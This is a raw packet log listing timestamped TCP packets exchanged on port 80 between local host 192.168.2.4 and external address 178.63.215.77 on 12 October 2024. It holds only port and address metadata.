Oct 12, 2024 14:17:07.832467079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832493067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832515955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832515955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832566023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832572937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832597017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832603931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832629919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832638025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832662106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832676888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832694054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832700014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832772017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832782984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832804918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832813025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832837105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832844019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832868099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832896948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832901001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832911968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832932949 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832942963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.832964897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832995892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.832997084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833020926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833029985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833034992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833061934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833075047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833095074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833106041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833127975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833141088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833158970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833170891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833190918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833200932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833223104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833239079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833256006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833285093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833286047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833285093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833317995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833324909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833349943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833359957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833381891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833393097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833414078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833424091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833446026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833453894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833477974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833508968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833513021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833523035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833544016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833559036 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833575964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833600044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833609104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833617926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833641052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833662033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833673000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833681107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833704948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833729029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833736897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833746910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833769083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833792925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833800077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833811998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833832026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833858013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833867073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833872080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833899021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833911896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833940983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.833941936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.833983898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928365946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928471088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928472996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928524017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928534985 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928575993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928582907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928608894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928625107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928642035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928654909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928675890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928685904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928715944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928726912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928759098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928769112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928792000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928800106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928823948 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928838015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928858042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928869009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928906918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928910971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928956985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.928965092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.928992033 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929013014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929024935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929033041 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929100990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929110050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929133892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929147005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929166079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929195881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929203987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929209948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929235935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929259062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929274082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929276943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929322958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929336071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929356098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929371119 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929388046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929394960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929430008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929439068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929471016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929481983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929503918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929524899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929533005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929543972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929563999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929572105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929599047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929610968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929630041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929639101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929672003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929678917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929702997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929717064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929754019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929775953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929800987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929801941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929835081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929842949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929883003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929887056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929914951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.929934025 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929953098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.929968119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930016041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930018902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930047989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930061102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930080891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930084944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930113077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930121899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930145979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930151939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930177927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930183887 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930211067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930216074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930246115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930248976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930278063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930291891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930310011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930321932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930358887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930361986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930391073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930422068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930432081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930432081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930454016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930466890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930542946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930552959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930581093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930599928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930613041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930620909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930644035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930656910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930679083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930694103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930711985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930717945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930743933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930752039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930774927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930789948 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930810928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930813074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930844069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930867910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930875063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930886030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930907965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930915117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930939913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930965900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.930973053 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.930994034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931011915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931011915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931046009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931057930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931077003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931082010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931109905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931124926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931142092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931149006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931174040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931185007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931205988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931215048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931237936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931261063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931271076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931282997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931303024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931310892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931334019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931346893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931365967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931371927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931402922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931427956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931459904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931467056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931495905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931504965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931528091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931562901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931564093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931591988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931596041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931626081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931627035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931638956 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931658983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931667089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931690931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931699991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931721926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931730986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931754112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931765079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931787968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931818962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931823015 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931838989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931850910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931880951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931883097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931910992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931915045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931936979 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931946993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931956053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.931982040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.931992054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932013035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932023048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932045937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932070017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932077885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932085991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932111025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932132006 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932142019 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932147980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932173014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932183027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932204962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932212114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932236910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932243109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932270050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932276011 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932302952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932316065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932333946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932339907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932367086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:07.932374954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:07.932408094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017041922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017085075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017128944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017129898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017143011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017177105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017198086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017210007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017246962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017265081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017265081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017297983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017348051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017379045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017426968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017457962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017507076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017515898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017535925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017563105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017585993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017615080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.017618895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.017630100 CEST	49730	80	192.168.2.4	178.63.215.77
